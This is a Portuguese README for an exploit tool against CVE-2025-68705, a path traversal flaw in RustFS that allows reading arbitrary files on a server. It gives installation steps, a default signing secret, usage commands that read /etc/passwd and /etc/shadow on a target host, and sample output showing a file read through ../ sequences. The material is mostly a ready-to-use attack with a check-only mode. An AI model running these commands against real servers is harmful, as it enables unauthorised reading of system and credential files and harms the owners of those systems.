CVE-2025-68705 - Exploração de Path Traversal no RustFS

Descrição

Este script explora uma vulnerabilidade de path traversal (CVE-2025-68705) no RustFS que permite ler arquivos arbitrários no servidor.

Requisitos

Python 3.6+
Consulte requirements.txt para dependências

Instalação

git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt

Uso

python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]

Argumentos Obrigatórios

Argumento	Descrição
`-H, --host`	IP ou nome do host alvo
`-p, --port`	Número da porta alvo
`-f, --file`	Caminho do arquivo para ler (opcional com --check-only)

Argumentos Opcionais

Exemplos

Ler arquivo /etc/passwd

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd

Ler /etc/shadow com deslocamento e tamanho personalizados

python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024

Usar chave secreta personalizada

python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret

Apenas verificar se o alvo é vulnerável

python exp.py -H 192.168.1.128 -p 9000 --check-only

Ler intervalo específico do arquivo

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200

Exemplo de Saída

python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!

[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp

Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

`-s, --secret`	Chave secreta para assinatura	`rustfsadmin`
`-o, --offset`	Deslocamento de leitura do arquivo	`0`
`-l, --length`	Número de bytes para ler	`4096`
`--check-only`	Apenas verificar se o alvo é vulnerável	-

CVE-2025-68705

Mais Populares